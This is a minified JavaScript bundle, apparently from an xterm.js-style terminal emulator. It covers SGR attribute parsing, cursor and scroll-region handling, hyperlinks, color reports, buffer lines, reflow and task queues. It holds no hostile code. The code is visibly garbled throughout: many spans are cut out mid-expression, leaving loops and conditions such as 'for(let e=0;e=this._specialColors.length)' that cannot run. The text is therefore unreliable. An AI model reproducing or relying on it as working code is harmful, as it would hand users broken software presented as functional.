r=0;r=30&&i<=37?(s.fg&=-50331904,s.fg|=16777216|i-30):i>=40&&i<=47?(s.bg&=-50331904,s.bg|=16777216|i-40):i>=90&&i<=97?(s.fg&=-50331904,s.fg|=16777224|i-90):i>=100&&i<=107?(s.bg&=-50331904,s.bg|=16777224|i-100):0===i?this._processSGR0(s):1===i?s.fg|=134217728:3===i?s.bg|=67108864:4===i?(s.fg|=268435456,this._processUnderline(e.hasSubParams(r)?e.getSubParams(r)[0]:1,s)):5===i?s.fg|=536870912:7===i?s.fg|=67108864:8===i?s.fg|=1073741824:9===i?s.fg|=2147483648:2===i?s.bg|=134217728:21===i?this._processUnderline(2,s):22===i?(s.fg&=-134217729,s.bg&=-134217729):23===i?s.bg&=-67108865:24===i?(s.fg&=-268435457,this._processUnderline(0,s)):25===i?s.fg&=-536870913:27===i?s.fg&=-67108865:28===i?s.fg&=-1073741825:29===i?s.fg&=2147483647:39===i?(s.fg&=-67108864,s.fg|=16777215&l.DEFAULT_ATTR_DATA.fg):49===i?(s.bg&=-67108864,s.bg|=16777215&l.DEFAULT_ATTR_DATA.bg):38===i||48===i||58===i?r+=this._extractColor(e,r,s):53===i?s.bg|=1073741824:55===i?s.bg&=-1073741825:59===i?(s.extended=s.extended.clone(),s.extended.underlineColor=-1,s.updateExtended()):100===i?(s.fg&=-67108864,s.fg|=16777215&l.DEFAULT_ATTR_DATA.fg,s.bg&=-67108864,s.bg|=16777215&l.DEFAULT_ATTR_DATA.bg):this._logService.debug("Unknown SGR attribute: %d.",i);return!0}deviceStatus(e){switch(e.params[0]){case 5:this._coreService.triggerDataEvent(`${n.C0.ESC}[0n`);break;case 6:const e=this._activeBuffer.y+1,t=this._activeBuffer.x+1;this._coreService.triggerDataEvent(`${n.C0.ESC}[${e};${t}R`)}return!0}deviceStatusPrivate(e){if(6===e.params[0]){const e=this._activeBuffer.y+1,t=this._activeBuffer.x+1;this._coreService.triggerDataEvent(`${n.C0.ESC}[?${e};${t}R`)}return!0}softReset(e){return this._coreService.isCursorHidden=!1,this._onRequestSyncScrollBar.fire(),this._activeBuffer.scrollTop=0,this._activeBuffer.scrollBottom=this._bufferService.rows-1,this._curAttrData=l.DEFAULT_ATTR_DATA.clone(),this._coreService.reset(),this._charsetService.reset(),this._activeBuffer.savedX=0,this._activeBuffer.savedY=this._activeBuffer.ybase,this._activeBuffer.savedCurAttrData.fg=this._curAttrData.fg,this._activeBuffer.savedCurAttrData.bg=this._curAttrData.bg,this._activeBuffer.savedCharset=this._charsetService.charset,this._coreService.decPrivateModes.origin=!1,!0}setCursorStyle(e){const t=e.params[0]||1;switch(t){case 1:case 2:this._optionsService.options.cursorStyle="block";break;case 3:case 4:this._optionsService.options.cursorStyle="underline";break;case 5:case 6:this._optionsService.options.cursorStyle="bar"}const i=t%2==1;return this._optionsService.options.cursorBlink=i,!0}setScrollRegion(e){const t=e.params[0]||1;let i;return(e.length<2||(i=e.params[1])>this._bufferService.rows||0===i)&&(i=this._bufferService.rows),i>t&&(this._activeBuffer.scrollTop=t-1,this._activeBuffer.scrollBottom=i-1,this._setCursor(0,0)),!0}windowOptions(e){if(!b(e.params[0],this._optionsService.rawOptions.windowOptions))return!0;const t=e.length>1?e.params[1]:0;switch(e.params[0]){case 14:2!==t&&this._onRequestWindowsOptionsReport.fire(y.GET_WIN_SIZE_PIXELS);break;case 16:this._onRequestWindowsOptionsReport.fire(y.GET_CELL_SIZE_PIXELS);break;case 18:this._bufferService&&this._coreService.triggerDataEvent(`${n.C0.ESC}[8;${this._bufferService.rows};${this._bufferService.cols}t`);break;case 22:0!==t&&2!==t||(this._windowTitleStack.push(this._windowTitle),this._windowTitleStack.length>10&&this._windowTitleStack.shift()),0!==t&&1!==t||(this._iconNameStack.push(this._iconName),this._iconNameStack.length>10&&this._iconNameStack.shift());break;case 23:0!==t&&2!==t||this._windowTitleStack.length&&this.setTitle(this._windowTitleStack.pop()),0!==t&&1!==t||this._iconNameStack.length&&this.setIconName(this._iconNameStack.pop())}return!0}saveCursor(e){return this._activeBuffer.savedX=this._activeBuffer.x,this._activeBuffer.savedY=this._activeBuffer.ybase+this._activeBuffer.y,this._activeBuffer.savedCurAttrData.fg=this._curAttrData.fg,this._activeBuffer.savedCurAttrData.bg=this._curAttrData.bg,this._activeBuffer.savedCharset=this._charsetService.charset,!0}restoreCursor(e){return this._activeBuffer.x=this._activeBuffer.savedX||0,this._activeBuffer.y=Math.max(this._activeBuffer.savedY-this._activeBuffer.ybase,0),this._curAttrData.fg=this._activeBuffer.savedCurAttrData.fg,this._curAttrData.bg=this._activeBuffer.savedCurAttrData.bg,this._charsetService.charset=this._savedCharset,this._activeBuffer.savedCharset&&(this._charsetService.charset=this._activeBuffer.savedCharset),this._restrictCursor(),!0}setTitle(e){return this._windowTitle=e,this._onTitleChange.fire(e),!0}setIconName(e){return this._iconName=e,!0}setOrReportIndexedColor(e){const t=[],i=e.split(";");for(;i.length>1;){const e=i.shift(),s=i.shift();if(/^\d+$/.exec(e)){const i=parseInt(e);if(L(i))if("?"===s)t.push({type:0,index:i});else{const e=(0,m.parseColor)(s);e&&t.push({type:1,index:i,color:e})}}}return t.length&&this._onColor.fire(t),!0}setHyperlink(e){const t=e.split(";");return!(t.length<2)&&(t[1]?this._createHyperlink(t[0],t[1]):!t[0]&&this._finishHyperlink())}_createHyperlink(e,t){this._getCurrentLinkId()&&this._finishHyperlink();const i=e.split(":");let s;const r=i.findIndex((e=>e.startsWith("id=")));return-1!==r&&(s=i[r].slice(3)||void 0),this._curAttrData.extended=this._curAttrData.extended.clone(),this._curAttrData.extended.urlId=this._oscLinkService.registerLink({id:s,uri:t}),this._curAttrData.updateExtended(),!0}_finishHyperlink(){return this._curAttrData.extended=this._curAttrData.extended.clone(),this._curAttrData.extended.urlId=0,this._curAttrData.updateExtended(),!0}_setOrReportSpecialColor(e,t){const i=e.split(";");for(let e=0;e=this._specialColors.length);++e,++t)if("?"===i[e])this._onColor.fire([{type:0,index:this._specialColors[t]}]);else{const s=(0,m.parseColor)(i[e]);s&&this._onColor.fire([{type:1,index:this._specialColors[t],color:s}])}return!0}setOrReportFgColor(e){return this._setOrReportSpecialColor(e,0)}setOrReportBgColor(e){return this._setOrReportSpecialColor(e,1)}setOrReportCursorColor(e){return this._setOrReportSpecialColor(e,2)}restoreIndexedColor(e){if(!e)return this._onColor.fire([{type:2}]),!0;const t=[],i=e.split(";");for(let e=0;e=this._bufferService.rows&&(this._activeBuffer.y=this._bufferService.rows-1),this._restrictCursor(),!0}tabSet(){return this._activeBuffer.tabs[this._activeBuffer.x]=!0,!0}reverseIndex(){if(this._restrictCursor(),this._activeBuffer.y===this._activeBuffer.scrollTop){const e=this._activeBuffer.scrollBottom-this._activeBuffer.scrollTop;this._activeBuffer.lines.shiftElements(this._activeBuffer.ybase+this._activeBuffer.y,e,1),this._activeBuffer.lines.set(this._activeBuffer.ybase+this._activeBuffer.y,this._activeBuffer.getBlankLine(this._eraseAttrData())),this._dirtyRowTracker.markRangeDirty(this._activeBuffer.scrollTop,this._activeBuffer.scrollBottom)}else this._activeBuffer.y--,this._restrictCursor();return!0}fullReset(){return this._parser.reset(),this._onRequestReset.fire(),!0}reset(){this._curAttrData=l.DEFAULT_ATTR_DATA.clone(),this._eraseAttrDataInternal=l.DEFAULT_ATTR_DATA.clone()}_eraseAttrData(){return this._eraseAttrDataInternal.bg&=-67108864,this._eraseAttrDataInternal.bg|=67108863&this._curAttrData.bg,this._eraseAttrDataInternal}setgLevel(e){return this._charsetService.setgLevel(e),!0}screenAlignmentPattern(){const e=new u.CellData;e.content=1<<22|"E".charCodeAt(0),e.fg=this._curAttrData.fg,e.bg=this._curAttrData.bg,this._setCursor(0,0);for(let t=0;t(this._coreService.triggerDataEvent(`${n.C0.ESC}${e}${n.C0.ESC}\\`),!0))('"q'===e?`P1$r${this._curAttrData.isProtected()?1:0}"q`:'"p'===e?'P1$r61;1"p':"r"===e?`P1$r${i.scrollTop+1};${i.scrollBottom+1}r`:"m"===e?"P1$r0m":" q"===e?`P1$r${{block:2,underline:4,bar:6}[s.cursorStyle]-(s.cursorBlink?1:0)} q`:"P0$r")}markRangeDirty(e,t){this._dirtyRowTracker.markRangeDirty(e,t)}}t.InputHandler=E;let k=class{constructor(e){this._bufferService=e,this.clearRange()}clearRange(){this.start=this._bufferService.buffer.y,this.end=this._bufferService.buffer.y}markDirty(e){ethis.end&&(this.end=e)}markRangeDirty(e,t){e>t&&(w=e,e=t,t=w),ethis.end&&(this.end=t)}markAllDirty(){this.markRangeDirty(0,this._bufferService.rows-1)}};function L(e){return 0<=e&&e<256}k=s([r(0,v.IBufferService)],k)},844:(e,t)=>{function i(e){for(const t of e)t.dispose();e.length=0}Object.defineProperty(t,"__esModule",{value:!0}),t.getDisposeArrayDisposable=t.disposeArray=t.toDisposable=t.MutableDisposable=t.Disposable=void 0,t.Disposable=class{constructor(){this._disposables=[],this._isDisposed=!1}dispose(){this._isDisposed=!0;for(const e of this._disposables)e.dispose();this._disposables.length=0}register(e){return this._disposables.push(e),e}unregister(e){const t=this._disposables.indexOf(e);-1!==t&&this._disposables.splice(t,1)}},t.MutableDisposable=class{constructor(){this._isDisposed=!1}get value(){return this._isDisposed?void 0:this._value}set value(e){var t;this._isDisposed||e===this._value||(null===(t=this._value)||void 0===t||t.dispose(),this._value=e)}clear(){this.value=void 0}dispose(){var e;this._isDisposed=!0,null===(e=this._value)||void 0===e||e.dispose(),this._value=void 0}},t.toDisposable=function(e){return{dispose:e}},t.disposeArray=i,t.getDisposeArrayDisposable=function(e){return{dispose:()=>i(e)}}},1505:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.FourKeyMap=t.TwoKeyMap=void 0;class i{constructor(){this._data={}}set(e,t,i){this._data[e]||(this._data[e]={}),this._data[e][t]=i}get(e,t){return this._data[e]?this._data[e][t]:void 0}clear(){this._data={}}}t.TwoKeyMap=i,t.FourKeyMap=class{constructor(){this._data=new i}set(e,t,s,r,n){this._data.get(e,t)||this._data.set(e,t,new i),this._data.get(e,t).set(s,r,n)}get(e,t,i,s){var r;return null===(r=this._data.get(e,t))||void 0===r?void 0:r.get(i,s)}clear(){this._data.clear()}}},6114:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.isChromeOS=t.isLinux=t.isWindows=t.isIphone=t.isIpad=t.isMac=t.getSafariVersion=t.isSafari=t.isLegacyEdge=t.isFirefox=t.isNode=void 0,t.isNode="undefined"==typeof navigator;const i=t.isNode?"node":navigator.userAgent,s=t.isNode?"node":navigator.platform;t.isFirefox=i.includes("Firefox"),t.isLegacyEdge=i.includes("Edge"),t.isSafari=/^((?!chrome|android).)*safari/i.test(i),t.getSafariVersion=function(){if(!t.isSafari)return 0;const e=i.match(/Version\/(\d+)/);return null===e||e.length<2?0:parseInt(e[1])},t.isMac=["Macintosh","MacIntel","MacPPC","Mac68K"].includes(s),t.isIpad="iPad"===s,t.isIphone="iPhone"===s,t.isWindows=["Windows","Win16","Win32","WinCE"].includes(s),t.isLinux=s.indexOf("Linux")>=0,t.isChromeOS=/\bCrOS\b/.test(i)},6106:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.SortedList=void 0;let i=0;t.SortedList=class{constructor(e){this._getKey=e,this._array=[]}clear(){this._array.length=0}insert(e){0!==this._array.length?(i=this._search(this._getKey(e)),this._array.splice(i,0,e)):this._array.push(e)}delete(e){if(0===this._array.length)return!1;const t=this._getKey(e);if(void 0===t)return!1;if(i=this._search(t),-1===i)return!1;if(this._getKey(this._array[i])!==t)return!1;do{if(this._array[i]===e)return this._array.splice(i,1),!0}while(++i=this._array.length)&&this._getKey(this._array[i])===e))do{yield this._array[i]}while(++i=this._array.length)&&this._getKey(this._array[i])===e))do{t(this._array[i])}while(++i=t;){let s=t+i>>1;const r=this._getKey(this._array[s]);if(r>e)i=s-1;else{if(!(r0&&this._getKey(this._array[s-1])===e;)s--;return s}t=s+1}}return t}}},7226:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.DebouncedIdleTask=t.IdleTaskQueue=t.PriorityTaskQueue=void 0;const s=i(6114);class r{constructor(){this._tasks=[],this._i=0}enqueue(e){this._tasks.push(e),this._start()}flush(){for(;this._ir)return s-t<-20&&console.warn(`task queue exceeded allotted deadline by ${Math.abs(Math.round(s-t))}ms`),void this._start();s=r}this.clear()}}class n extends r{_requestCallback(e){return setTimeout((()=>e(this._createDeadline(16))))}_cancelCallback(e){clearTimeout(e)}_createDeadline(e){const t=Date.now()+e;return{timeRemaining:()=>Math.max(0,t-Date.now())}}}t.PriorityTaskQueue=n,t.IdleTaskQueue=!s.isNode&&"requestIdleCallback"in window?class extends r{_requestCallback(e){return requestIdleCallback(e)}_cancelCallback(e){cancelIdleCallback(e)}}:n,t.DebouncedIdleTask=class{constructor(){this._queue=new t.IdleTaskQueue}set(e){this._queue.clear(),this._queue.enqueue(e)}flush(){this._queue.flush()}}},9282:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.updateWindowsModeWrappedState=void 0;const s=i(643);t.updateWindowsModeWrappedState=function(e){const t=e.buffer.lines.get(e.buffer.ybase+e.buffer.y-1),i=null==t?void 0:t.get(e.cols-1),r=e.buffer.lines.get(e.buffer.ybase+e.buffer.y);r&&i&&(r.isWrapped=i[s.CHAR_DATA_CODE_INDEX]!==s.NULL_CELL_CODE&&i[s.CHAR_DATA_CODE_INDEX]!==s.WHITESPACE_CELL_CODE)}},3734:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.ExtendedAttrs=t.AttributeData=void 0;class i{constructor(){this.fg=0,this.bg=0,this.extended=new s}static toColorRGB(e){return[e>>>16&255,e>>>8&255,255&e]}static fromColorRGB(e){return(255&e[0])<<16|(255&e[1])<<8|255&e[2]}clone(){const e=new i;return e.fg=this.fg,e.bg=this.bg,e.extended=this.extended.clone(),e}isInverse(){return 67108864&this.fg}isBold(){return 134217728&this.fg}isUnderline(){return this.hasExtendedAttrs()&&0!==this.extended.underlineStyle?1:268435456&this.fg}isBlink(){return 536870912&this.fg}isInvisible(){return 1073741824&this.fg}isItalic(){return 67108864&this.bg}isDim(){return 134217728&this.bg}isStrikethrough(){return 2147483648&this.fg}isProtected(){return 536870912&this.bg}isOverline(){return 1073741824&this.bg}getFgColorMode(){return 50331648&this.fg}getBgColorMode(){return 50331648&this.bg}isFgRGB(){return 50331648==(50331648&this.fg)}isBgRGB(){return 50331648==(50331648&this.bg)}isFgPalette(){return 16777216==(50331648&this.fg)||33554432==(50331648&this.fg)}isBgPalette(){return 16777216==(50331648&this.bg)||33554432==(50331648&this.bg)}isFgDefault(){return 0==(50331648&this.fg)}isBgDefault(){return 0==(50331648&this.bg)}isAttributeDefault(){return 0===this.fg&&0===this.bg}getFgColor(){switch(50331648&this.fg){case 16777216:case 33554432:return 255&this.fg;case 50331648:return 16777215&this.fg;default:return-1}}getBgColor(){switch(50331648&this.bg){case 16777216:case 33554432:return 255&this.bg;case 50331648:return 16777215&this.bg;default:return-1}}hasExtendedAttrs(){return 268435456&this.bg}updateExtended(){this.extended.isEmpty()?this.bg&=-268435457:this.bg|=268435456}getUnderlineColor(){if(268435456&this.bg&&~this.extended.underlineColor)switch(50331648&this.extended.underlineColor){case 16777216:case 33554432:return 255&this.extended.underlineColor;case 50331648:return 16777215&this.extended.underlineColor;default:return this.getFgColor()}return this.getFgColor()}getUnderlineColorMode(){return 268435456&this.bg&&~this.extended.underlineColor?50331648&this.extended.underlineColor:this.getFgColorMode()}isUnderlineColorRGB(){return 268435456&this.bg&&~this.extended.underlineColor?50331648==(50331648&this.extended.underlineColor):this.isFgRGB()}isUnderlineColorPalette(){return 268435456&this.bg&&~this.extended.underlineColor?16777216==(50331648&this.extended.underlineColor)||33554432==(50331648&this.extended.underlineColor):this.isFgPalette()}isUnderlineColorDefault(){return 268435456&this.bg&&~this.extended.underlineColor?0==(50331648&this.extended.underlineColor):this.isFgDefault()}getUnderlineStyle(){return 268435456&this.fg?268435456&this.bg?this.extended.underlineStyle:1:0}}t.AttributeData=i;class s{get ext(){return this._urlId?-469762049&this._ext|this.underlineStyle<<26:this._ext}set ext(e){this._ext=e}get underlineStyle(){return this._urlId?5:(469762048&this._ext)>>26}set underlineStyle(e){this._ext&=-469762049,this._ext|=e<<26&469762048}get underlineColor(){return 67108863&this._ext}set underlineColor(e){this._ext&=-67108864,this._ext|=67108863&e}get urlId(){return this._urlId}set urlId(e){this._urlId=e}constructor(e=0,t=0){this._ext=0,this._urlId=0,this._ext=e,this._urlId=t}clone(){return new s(this._ext,this._urlId)}isEmpty(){return 0===this.underlineStyle&&0===this._urlId}}t.ExtendedAttrs=s},9092:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.Buffer=t.MAX_BUFFER_SIZE=void 0;const s=i(6349),r=i(7226),n=i(3734),o=i(8437),a=i(4634),h=i(511),c=i(643),l=i(4863),d=i(7116);t.MAX_BUFFER_SIZE=4294967295,t.Buffer=class{constructor(e,t,i){this._hasScrollback=e,this._optionsService=t,this._bufferService=i,this.ydisp=0,this.ybase=0,this.y=0,this.x=0,this.tabs={},this.savedY=0,this.savedX=0,this.savedCurAttrData=o.DEFAULT_ATTR_DATA.clone(),this.savedCharset=d.DEFAULT_CHARSET,this.markers=[],this._nullCell=h.CellData.fromCharData([0,c.NULL_CELL_CHAR,c.NULL_CELL_WIDTH,c.NULL_CELL_CODE]),this._whitespaceCell=h.CellData.fromCharData([0,c.WHITESPACE_CELL_CHAR,c.WHITESPACE_CELL_WIDTH,c.WHITESPACE_CELL_CODE]),this._isClearing=!1,this._memoryCleanupQueue=new r.IdleTaskQueue,this._memoryCleanupPosition=0,this._cols=this._bufferService.cols,this._rows=this._bufferService.rows,this.lines=new s.CircularList(this._getCorrectBufferLength(this._rows)),this.scrollTop=0,this.scrollBottom=this._rows-1,this.setupTabStops()}getNullCell(e){return e?(this._nullCell.fg=e.fg,this._nullCell.bg=e.bg,this._nullCell.extended=e.extended):(this._nullCell.fg=0,this._nullCell.bg=0,this._nullCell.extended=new n.ExtendedAttrs),this._nullCell}getWhitespaceCell(e){return e?(this._whitespaceCell.fg=e.fg,this._whitespaceCell.bg=e.bg,this._whitespaceCell.extended=e.extended):(this._whitespaceCell.fg=0,this._whitespaceCell.bg=0,this._whitespaceCell.extended=new n.ExtendedAttrs),this._whitespaceCell}getBlankLine(e,t){return new o.BufferLine(this._bufferService.cols,this.getNullCell(e),t)}get hasScrollback(){return this._hasScrollback&&this.lines.maxLength>this._rows}get isCursorInViewport(){const e=this.ybase+this.y-this.ydisp;return e>=0&&et.MAX_BUFFER_SIZE?t.MAX_BUFFER_SIZE:i}fillViewportRows(e){if(0===this.lines.length){void 0===e&&(e=o.DEFAULT_ATTR_DATA);let t=this._rows;for(;t--;)this.lines.push(this.getBlankLine(e))}}clear(){this.ydisp=0,this.ybase=0,this.y=0,this.x=0,this.lines=new s.CircularList(this._getCorrectBufferLength(this._rows)),this.scrollTop=0,this.scrollBottom=this._rows-1,this.setupTabStops()}resize(e,t){const i=this.getNullCell(o.DEFAULT_ATTR_DATA);let s=0;const r=this._getCorrectBufferLength(t);if(r>this.lines.maxLength&&(this.lines.maxLength=r),this.lines.length>0){if(this._cols0&&this.lines.length<=this.ybase+this.y+n+1?(this.ybase--,n++,this.ydisp>0&&this.ydisp--):this.lines.push(new o.BufferLine(e,i)));else for(let e=this._rows;e>t;e--)this.lines.length>t+this.ybase&&(this.lines.length>this.ybase+this.y+1?this.lines.pop():(this.ybase++,this.ydisp++));if(r0&&(this.lines.trimStart(e),this.ybase=Math.max(this.ybase-e,0),this.ydisp=Math.max(this.ydisp-e,0),this.savedY=Math.max(this.savedY-e,0)),this.lines.maxLength=r}this.x=Math.min(this.x,e-1),this.y=Math.min(this.y,t-1),n&&(this.y+=n),this.savedX=Math.min(this.savedX,e-1),this.scrollTop=0}if(this.scrollBottom=t-1,this._isReflowEnabled&&(this._reflow(e,t),this._cols>e))for(let t=0;t.1*this.lines.length&&(this._memoryCleanupPosition=0,this._memoryCleanupQueue.enqueue((()=>this._batchedMemoryCleanup())))}_batchedMemoryCleanup(){let e=!0;this._memoryCleanupPosition>=this.lines.length&&(this._memoryCleanupPosition=0,e=!1);let t=0;for(;this._memoryCleanupPosition100)return!0;return e}get _isReflowEnabled(){const e=this._optionsService.rawOptions.windowsPty;return e&&e.buildNumber?this._hasScrollback&&"conpty"===e.backend&&e.buildNumber>=21376:this._hasScrollback&&!this._optionsService.rawOptions.windowsMode}_reflow(e,t){this._cols!==e&&(e>this._cols?this._reflowLarger(e,t):this._reflowSmaller(e,t))}_reflowLarger(e,t){const i=(0,a.reflowLargerGetLinesToRemove)(this.lines,this._cols,e,this.ybase+this.y,this.getNullCell(o.DEFAULT_ATTR_DATA));if(i.length>0){const s=(0,a.reflowLargerCreateNewLayout)(this.lines,i);(0,a.reflowLargerApplyNewLayout)(this.lines,s.layout),this._reflowLargerAdjustViewport(e,t,s.countRemoved)}}_reflowLargerAdjustViewport(e,t,i){const s=this.getNullCell(o.DEFAULT_ATTR_DATA);let r=i;for(;r-- >0;)0===this.ybase?(this.y>0&&this.y--,this.lines.length=0;n--){let h=this.lines.get(n);if(!h||!h.isWrapped&&h.getTrimmedLength()<=e)continue;const c=[h];for(;h.isWrapped&&n>0;)h=this.lines.get(--n),c.unshift(h);const l=this.ybase+this.y;if(l>=n&&l0&&(s.push({start:n+c.length+r,newLines:v}),r+=v.length),c.push(...v);let p=_.length-1,g=_[p];0===g&&(p--,g=_[p]);let m=c.length-u-1,S=d;for(;m>=0;){const e=Math.min(S,g);if(void 0===c[p])break;if(c[p].copyCellsFrom(c[m],S-e,g-e,e,!0),g-=e,0===g&&(p--,g=_[p]),S-=e,0===S){m--;const e=Math.max(m,0);S=(0,a.getWrappedLineTrimmedLength)(c,e,this._cols)}}for(let t=0;t0;)0===this.ybase?this.y0){const e=[],t=[];for(let e=0;e=0;c--)if(a&&a.start>n+h){for(let e=a.newLines.length-1;e>=0;e--)this.lines.set(c--,a.newLines[e]);c++,e.push({index:n+1,amount:a.newLines.length}),h+=a.newLines.length,a=s[++o]}else this.lines.set(c,t[n--]);let c=0;for(let t=e.length-1;t>=0;t--)e[t].index+=c,this.lines.onInsertEmitter.fire(e[t]),c+=e[t].amount;const l=Math.max(0,i+r-this.lines.maxLength);l>0&&this.lines.onTrimEmitter.fire(l)}}translateBufferLineToString(e,t,i=0,s){const r=this.lines.get(e);return r?r.translateToString(t,i,s):""}getWrappedRangeForLine(e){let t=e,i=e;for(;t>0&&this.lines.get(t).isWrapped;)t--;for(;i+10;);return e>=this._cols?this._cols-1:e<0?0:e}nextStop(e){for(null==e&&(e=this.x);!this.tabs[++e]&&e=this._cols?this._cols-1:e<0?0:e}clearMarkers(e){this._isClearing=!0;for(let t=0;t{t.line-=e,t.line<0&&t.dispose()}))),t.register(this.lines.onInsert((e=>{t.line>=e.index&&(t.line+=e.amount)}))),t.register(this.lines.onDelete((e=>{t.line>=e.index&&t.linee.index&&(t.line-=e.amount)}))),t.register(t.onDispose((()=>this._removeMarker(t)))),t}_removeMarker(e){this._isClearing||this.markers.splice(this.markers.indexOf(e),1)}}},8437:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.BufferLine=t.DEFAULT_ATTR_DATA=void 0;const s=i(3734),r=i(511),n=i(643),o=i(482);t.DEFAULT_ATTR_DATA=Object.freeze(new s.AttributeData);let a=0;class h{constructor(e,t,i=!1){this.isWrapped=i,this._combined={},this._extendedAttrs={},this._data=new Uint32Array(3*e);const s=t||r.CellData.fromCharData([0,n.NULL_CELL_CHAR,n.NULL_CELL_WIDTH,n.NULL_CELL_CODE]);for(let t=0;t>22,2097152&t?this._combined[e].charCodeAt(this._combined[e].length-1):i]}set(e,t){this._data[3*e+1]=t[n.CHAR_DATA_ATTR_INDEX],t[n.CHAR_DATA_CHAR_INDEX].length>1?(this._combined[e]=t[1],this._data[3*e+0]=2097152|e|t[n.CHAR_DATA_WIDTH_INDEX]<<22):this._data[3*e+0]=t[n.CHAR_DATA_CHAR_INDEX].charCodeAt(0)|t[n.CHAR_DATA_WIDTH_INDEX]<<22}getWidth(e){return this._data[3*e+0]>>22}hasWidth(e){return 12582912&this._data[3*e+0]}getFg(e){return this._data[3*e+1]}getBg(e){return this._data[3*e+2]}hasContent(e){return 4194303&this._data[3*e+0]}getCodePoint(e){const t=this._data[3*e+0];return 2097152&t?this._combined[e].charCodeAt(this._combined[e].length-1):2097151&t}isCombined(e){return 2097152&this._data[3*e+0]}getString(e){const t=this._data[3*e+0];return 2097152&t?this._combined[e]:2097151&t?(0,o.stringFromCodePoint)(2097151&t):""}isProtected(e){return 536870912&this._data[3*e+2]}loadCell(e,t){return a=3*e,t.content=this._data[a+0],t.fg=this._data[a+1],t.bg=this._data[a+2],2097152&t.content&&(t.combinedData=this._combined[e]),268435456&t.bg&&(t.extended=this._extendedAttrs[e]),t}setCell(e,t){2097152&t.content&&(this._combined[e]=t.combinedData),268435456&t.bg&&(this._extendedAttrs[e]=t.extended),this._data[3*e+0]=t.content,this._data[3*e+1]=t.fg,this._data[3*e+2]=t.bg}setCellFromCodePoint(e,t,i,s,r,n){268435456&r&&(this._extendedAttrs[e]=n),this._data[3*e+0]=t|i<<22,this._data[3*e+1]=s,this._data[3*e+2]=r}addCodepointToCell(e,t){let i=this._data[3*e+0];2097152&i?this._combined[e]+=(0,o.stringFromCodePoint)(t):(2097151&i?(this._combined[e]=(0,o.stringFromCodePoint)(2097151&i)+(0,o.stringFromCodePoint)(t),i&=-2097152,i|=2097152):i=t|1<<22,this._data[3*e+0]=i)}insertCells(e,t,i,n){if((e%=this.length)&&2===this.getWidth(e-1)&&this.setCellFromCodePoint(e-1,0,1,(null==n?void 0:n.fg)||0,(null==n?void 0:n.bg)||0,(null==n?void 0:n.extended)||new s.ExtendedAttrs),t=0;--i)this.setCell(e+t+i,this.loadCell(e+i,s));for(let s=0;sthis.length){if(this._data.buffer.byteLength>=4*i)this._data=new Uint32Array(this._data.buffer,0,i);else{const e=new Uint32Array(i);e.set(this._data),this._data=e}for(let i=this.length;i=e&&delete this._combined[s]}const s=Object.keys(this._extendedAttrs);for(let t=0;t=e&&delete this._extendedAttrs[i]}}return this.length=e,4*i*2=0;--e)if(4194303&this._data[3*e+0])return e+(this._data[3*e+0]>>22);return 0}getNoBgTrimmedLength(){for(let e=this.length-1;e>=0;--e)if(4194303&this._data[3*e+0]||50331648&this._data[3*e+2])return e+(this._data[3*e+0]>>22);return 0}copyCellsFrom(e,t,i,s,r){const n=e._data;if(r)for(let r=s-1;r>=0;r--){for(let e=0;e<3;e++)this._data[3*(i+r)+e]=n[3*(t+r)+e];268435456&n[3*(t+r)+2]&&(this._extendedAttrs[i+r]=e._extendedAttrs[t+r])}else for(let r=0;r=t&&(this._combined[r-t+i]=e._combined[r])}}translateToString(e=!1,t=0,i=this.length){e&&(i=Math.min(i,this.getTrimmedLength()));let s="";for(;t>22||1}return s}}t.BufferLine=h},4841:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.getRangeLength=void 0,t.getRangeLength=function(e,t){if(e.start.y>e.end.y)throw new Error(`Buffer range end (${e.end.x}, ${e.end.y}) cannot be before start (${e.start.x}, ${e.start.y})`);return t*(e.end.y-e.start.y)+(e.end.x-e.start.x+1)}},4634:(e,t)=>{function i(e,t,i){if(t===e.length-1)return e[t].getTrimmedLength();const s=!e[t].hasContent(i-1)&&1===e[t].getWidth(i-1),r=2===e[t+1].getWidth(0);return s&&r?i-1:i}Object.defineProperty(t,"__esModule",{value:!0}),t.getWrappedLineTrimmedLength=t.reflowSmallerGetNewLineLengths=t.reflowLargerApplyNewLayout=t.reflowLargerCreateNewLayout=t.reflowLargerGetLinesToRemove=void 0,t.reflowLargerGetLinesToRemove=function(e,t,s,r,n){const o=[];for(let a=0;a=a&&r0&&(e>d||0===l[e].getTrimmedLength());e--)v++;v>0&&(o.push(a+l.length-v),o.push(v)),a+=l.length-1}return o},t.reflowLargerCreateNewLayout=function(e,t){const i=[];let s=0,r=t[s],n=0;for(let o=0;oi(e,r,t))).reduce(((e,t)=>e+t));let o=0,a=0,h=0;for(;hc&&(o-=c,a++);const l=2===e[a].getWidth(o-1);l&&o--;const d=l?s-1:s;r.push(d),h+=d}return r},t.getWrappedLineTrimmedLength=i},5295:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.BufferSet=void 0;const s=i(8460),r=i(844),n=i(9092);class o extends r.Disposable{constructor(e,t){super(),this._optionsService=e,this._bufferService=t,this._onBufferActivate=this.register(new s.EventEmitter),this.onBufferActivate=this._onBufferActivate.event,this.reset(),this.register(this._optionsService.onSpecificOptionChange("scrollback",(()=>this.resize(this._bufferService.cols,this._bufferService.rows)))),this.register(this._optionsService.onSpecificOptionChange("tabStopWidth",(()=>this.setupTabStops())))}reset(){this._normal=new n.Buffer(!0,this._optionsService,this._bufferService),this._normal.fillViewportRows(),this._alt=new n.Buffer(!1,this._optionsService,this._bufferService),this._activeBuffer=this._normal,this._onBufferActivate.fire({activeBuffer:this._normal,inactiveBuffer:this._alt}),this.setupTabStops()}get alt(){return this._alt}get active(){return this._activeBuffer}get normal(){return 